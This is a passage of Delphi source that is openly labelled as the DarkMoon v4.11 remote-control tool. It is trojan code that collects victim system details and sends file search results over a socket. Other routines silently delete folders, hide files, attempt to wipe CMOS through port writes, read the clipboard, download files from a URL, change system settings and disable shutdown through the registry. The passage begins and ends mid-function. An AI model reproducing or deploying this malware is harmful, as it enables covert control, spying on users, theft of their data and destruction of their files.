microsoft_ucmd.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

    OS.dwOSVersionInfoSize := SizeOf( OS );
    GetVersionEx( OS );

    ZeroMemory( @MS, SizeOf( MS ) );
    MS.dwLength := SizeOf( MS );
    GlobalMemoryStatus( MS );
    ZeroMemory( @SI, SizeOf( SI ) );
    GetSystemInfo( SI );
    data:=data + 'iNf' +'*' + LocalIP  +'*'+ DMVersion+'*'+ VentanaActiva +'*'+ Cpu  +'*'+ IntToStr( Trunc( GetCpuSpeed ) )+ ' Mhz'+
    '*'+ IntToStr( Trunc(   MS.dwTotalPhys/ 1024  /1024 )) + ' MByte'+
    '*'+ IntToStr( Trunc(   MS.dwAvailPhys / 1024  /1024 )) + ' MByte'+
    '*'+ IntToStr( Trunc(  MS.dwAvailVirtual / 1024  /1024 )) + ' MByte';



    if InternetGetConnectedState(@tipoConexion, 0) then
    begin

        if ( tipoConexion and 1 ) = 1 then
        data:=data +'*'+ 'MODEM' ;
        if ( tipoConexion and 2 ) = 2 then
          data:=data +'*'+ 'LAN' ;
        if ( tipoConexion and 4 ) = 4 then
           data:=data +'*'+ 'PROXY' ;
        if ( tipoConexion and 8 ) = 8 then
          data:=data +'*'+ 'MODEM BUSY' ;
    end;

  data:=data +'*'+  Version;

   data:=data +'*'+ Zona_Horaria;

    data:=data +'*'+ FindWindowsDir ;
     data:=data +'*'+ Serial ;
    data:=data +'*'+ User;
    data:=data +'*'+ Org ;
   data:=data +'*'+ Usuario;
    data:=data +'*'+ ddate + Time ;
    data:=data +'*'+  IntToStr( Trunc( GetTickCount / 1000 / 60  ) ) + ' Minutes...' ;
    data:=data +'*'+  IntToStr( GetSystemMetrics( SM_CXSCREEN ) ) + '*' + IntToStr( GetSystemMetrics( SM_CYSCREEN ) );


   if not esXp then
   begin

        try  data:=data +'*'+ string( pchar( ptr( cBIOSName ) ) )  except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSCopyright) ) ); except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSDate ) ) )  ; except end;
        try   data:=data +'*'+ string( pchar( ptr( cBIOSExtInfo ) ) ) ; except end;
   end;

   Result:=Data;
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure VaciarPapelera( Whandle : Thandle );
type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar;DWORD: Word): integer; stdcall;
var  SHEmptyRecycleBin  : TSHEmptyRecycleBin;
     Lib                : THandle;
begin
     try Lib                := LoadLibrary( PChar( 'Shell32.dll' ) );
         @SHEmptyRecycleBin := GetProcAddress( Lib , 'SHEmptyRecycleBinA' );
         SHEmptyRecycleBin( Whandle, '' , 7 );
         FreeLibrary( Lib );
         except
     end;
end;
 ///////////////////////////////////////////////////////////////////////////////
function DelTree( Parametro : String ): string;
var SHFileOpStruct : TSHFileOpStruct;
    DirBuf         : array [0..255] of char;
begin
     Result := ' The Dir Wasnt Deleted: ' + Parametro + '"';
     try
        Fillchar( SHFileOpStruct, Sizeof( SHFileOpStruct ), 0 );
        FillChar( DirBuf, Sizeof( DirBuf ), 0 );
        StrPCopy( DirBuf, Parametro );
        with SHFileOpStruct do
        begin
             Wnd    := 0;
             pFrom  := @DirBuf;
             wFunc  := FO_DELETE;
             fFlags := FOF_ALLOWUNDO;
             fFlags := fFlags or FOF_NOCONFIRMATION;
             fFlags := fFlags or FOF_SILENT;
        end;
        if ( SHFileOperation( SHFileOpStruct ) = 0 ) then
            Result := 'The Dir: "' + Parametro + '",was deleted...';
        except ;
     end;
 //   VaciarPapelera(Handle);
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure PonerOculto( s :String);
var i : Byte;
begin
     i := GetFileAttributes( Pchar ( s ) );
     i := i or $00000002;   //hidden
     SetFileAttributes( Pchar( s ),i );
end;

function Ocultar( Path: String; oculto:Boolean  ): String ;
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     retval := FindFirstFile( PChar( path ), sr );
     if retval = -1 then
          Exit;
     sigue := true;
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
         begin
             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                  Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '\*.*', true );
         end
         else begin
                   poneroculto(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
               end;
         sigue := FindNextFile( retval, sr );
      end;
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
var sr      : WIN32_FIND_DATA;
    retval  :integer;
    sigue   :longbool;
    esDir   : Bool;
begin
     sigue := true;
     if path[ Length( path ) ] <> '\' then
        path := path +'\';
     retval := FindFirstFile( Pchar( path + '*.*' ), sr );
     while sigue do
     begin
         EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
         if EsDir then
            if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
                 BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
         sigue := FindNextFile( retVal, sr );
     end;

     if path[ Length( path ) ] <> '\' then
        path := path + '\';
     RetVal := FindFirstFile( Pchar( path + mask ), sr );
     if RetVal = -1 then
        Exit;
     sigue := true;
     while sigue do
     begin
          if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
             SendData(SOCKET, 'FiLeSeArCh'+ '^' + path + sr.CfileName + '^');
             sleep(100);

          sigue := FindNextFile( retVal, sr );


     end;
end;



  ///////////////////////////////////////////////////////////////////////////////

function ClearCMos: String;
begin
     if esXP then
     begin
          Result := '&1&';
          Exit;
     end;
     Result := '&0&';
     try
       asm
          MOV AX,0h

   @L1:   OUT 70h,AX
          MOV BX,AX
          MOV AX,0h
          OUT 71h,AX
          MOV AX,BX
          INC AX
          CMP AX,03Fh
         JNZ @L1
      end;
      except end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function LeerPortaPapeles( WHandle : Thandle ) : String;
var Data : THandle;
begin
     LeerPortaPapeles := 'Error in Trashcan';
     CloseClipboard;
     OpenClipboard( WHandle );
     Data := GetClipboardData( CF_TEXT );
     try if Data <> 0 then
              Result := PChar( GlobalLock( Data ) );
         if Data <> 0 then GlobalUnlock( Data );
         CloseClipboard;
         except
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function  Borrar_Clipboard( handle : Thandle ) : String;
begin
     CloseClipboard;
     OpenClipboard( Handle );
     EmptyClipboard;
     CloseClipboard;
     Result := 'The Trashcan was empty...';
end;
  ///////////////////////////////////////////////////////////////////////////////
procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
begin
     if Bajando then
     begin
          Exit;
     end;
     if FileExists( Parametro2 ) then
     begin

          Exit;
     end;
     Bajando := TRUE;
     if Descargar( Parametro, parametro2 ) then

     else

     Bajando := FALSE;
end;
   ///////////////////////////////////////////////////////////////////////////////
function  CambiarNombrePC( parametro : string ): string;
begin
     try SetComputerName( PChar( Parametro ) ); except end;
     Result := 'The computer name was changed to :' + Parametro;
end;

function Set_Resolucion( Parametro : String ) : string;
var DevMode : TDeviceMode;
begin
     if esXp then
     begin
          Result := 'Tt doesnt work with XP!!!...';
          Exit;
     end;
     if StrToInt( Parametro ) < 0 then
        Exit;
     try if EnumDisplaySettings( nil, StrToInt( Parametro ), DevMode ) then
            ChangeDisplaySettings( DevMode, 0 );
         Result := 'The Resulution was changed';
         except Result := 'Error!!!';
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function SetTime( parametro : String ) : String;
var Fecha   : TSystemTime;
    m, d, y : Word;
    tmp     : String;
begin
     Tmp := Parametro;
     GetLocalTime( Fecha );
     d := StrToInt( Copy( parametro, 1, 2 ) );//day
     m := StrToInt( Copy( parametro, 4, 5 ) );//mouth
     y := StrToInt( Copy( parametro, 7, 10 ) );//year
     with Fecha do
     begin
          wYear  := y;
          wMonth := m;
          wDay   := d;
     end;     
     if SetSystemTime( Fecha ) then
        Result := 'The time was changed with succeful...'
     else
         Result := 'ERROR; Time couldnt been changed...';
end;
  ///////////////////////////////////////////////////////////////////////////////
function Red(Color: LongInt):integer;
begin
     Red := Color mod 256;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Green(Color: LongInt):integer;
begin
     Green := ((Color and $FF00) div 256) mod 256;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Blue(Color: LongInt):integer;
begin
     Blue := (Color and $FF0000) div 65536;
end;

  ///////////////////////////////////////////////////////////////////////////////
function Color_Menues( parametro : String ): String ;
var R, G, B : Integer;
    Colors, Items : array [ 0..1 ] of LongInt;
begin
    try R := Red( StrToInt64( Parametro ) );
         G := Green( StrToInt64( Parametro ) );
         B := Blue( StrToInt64( Parametro ) );
         Items[ 0 ]  := COLOR_MENU;
         Items[ 1 ]  := COLOR_MENUTEXT;
         Colors[ 0 ] := StrToInt64( Parametro );
         Colors[ 1 ] := RGB( 255 - R, 255 - G, 255 - B );
         SetSysColors( High( Items ), Items, Colors );
         Result := 'The Menu colors were Changed';
         except Result := 'ERROR!!!';
     end;
end;
   ///////////////////////////////////////////////////////////////////////////////
function Color3d( Parametro : String) : String;
var Colors, Items : array [ 0..1 ] of LongInt;
begin
     try Items[ 0 ] := COLOR_BTNFACE;
     Items[ 1 ] := COLOR_3DFACE;
     Colors[ 0 ]:= StrToInt64( Parametro );
     Colors[ 1 ]:= StrToInt64( Parametro );
     SetSysColors( High( Items ), Items, Colors );
     Result := 'The 3d color was changed...';
     except end;
end;
  ///////////////////////////////////////////////////////////////////////////////
function Color_Ventanas( Parametro :string ) : String;
var Colors, Items : array [ 0..1 ] of LongInt;
begin
     try Items[ 0 ]  := COLOR_WINDOW;
         Items[ 1 ]  := COLOR_WINDOW;
         Colors[ 0 ] := StrToInt( Parametro );
         Colors[ 1 ] := StrToInt( Parametro );
         SetSysColors( High( Items ), Items, Colors );
         Result := 'The windows colors were changed...';
         except Result := 'ERROR';
     end;

end;
  ///////////////////////////////////////////////////////////////////////////////
function Sacar_Apagar_sistema : String;
var h : HKEY;
    i : Integer;
begin
     RegOpenKeyEx( HKEY_CURRENT_USER,
                   PChar( 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' ),
                   0,
                   KEY_ALL_ACCESS,
                   h );
     RegsetValueEx( h,
                    PChar( 'NoClose' ),
                    0,
                    REG_SZ,
                    PChar( '1' ),
                    Length( '1' ) + 1 );
     RegCloseKey( h );
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
     Result := 'Turn off system disabled ';
end;
   ///////////////////////////////////////////////////////////////////////////////
function Poner_Apagar_sistema : String;
var i : Integer;
    h : HKEY;
begin

     RegOpenKeyEx( HKEY_CURRENT_USER,
                   PChar( 'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer' ),
                   0,
                   KEY_ALL_ACCESS,
                   h );
     RegDeleteValue( h,
                     PChar( 'NoClose' ));
     RegCloseKey( h );
     SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
     Result := 'turn off system enabled!!';
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure ThreadVivorita;
var h : HDC;
    p : HPen;
    Pos : TPoint;
    v : array[1..20]of integer;
    incX, incY : integer;
begin
   v[1] := 1;   v[2] := 1;
   v[3] := 1;   v[4] := 1;
   v[5] := 1;   v[6] := 1;
   v[7] := 1;   v[8] := 1;
   v[9] := 1;   v[10] := 1;
   v[11] := -1; v[12] := -1;
   v[13] := -1; v[14] := -1;
   v[15] := -1; v[16] := -1;
   v[17] := -1; v[18] := -1;
   v[19] := -1; v[20] := -1;

   h := createDC( Pchar( 'DISPLAY' ), nil, nil, nil );
   P := CreatePen( PS_DOT, 6, $000080FF);
   SelectObject( h, P );
   pos.X := 400;
   pos.Y := 300;
   incX  := 1;
   incY  := 1;


   while vivorita do
   begin
        LineTo( h, pos.X, Pos.Y );
        pos.X := pos.X + incX;
     	pos.Y := pos.Y + incY;
        if pos.X < 0   then
           pos.X := 0;
        if pos.X >  GetSystemMetrics( SM_CXSCREEN ) then
           pos.X := GetSystemMetrics( SM_CXSCREEN );
        if pos.Y < 0   then